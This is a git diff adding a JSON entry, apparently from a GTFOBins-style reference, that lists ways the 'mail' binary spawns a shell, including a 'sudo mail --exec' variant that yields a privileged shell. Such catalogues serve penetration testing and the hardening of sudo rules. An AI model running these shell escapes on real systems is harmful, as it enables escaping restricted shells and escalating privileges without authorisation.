diff --git a/data/mail.json b/data/mail.json new file mode 100644 index 0000000..2f1856a --- /dev/null +++ b/data/mail.json @@ -0,0 +1,20 @@ +{ + "functions": { + "shell": [ + { + "description": "GNU version only.", + "code": "mail --exec='!/bin/sh'" + }, + { + "description": "This creates a valid Mbox file which may be required by the binary.", + "code": "TF=$(mktemp)\necho \"From nobody@localhost $(date)\" > $TF\nmail -f $TF\n!/bin/sh\n" + } + ], + "sudo": [ + { + "description": "GNU version only.", + "code": "sudo mail --exec='!/bin/sh'" + } + ] + } +} \ No newline at end of file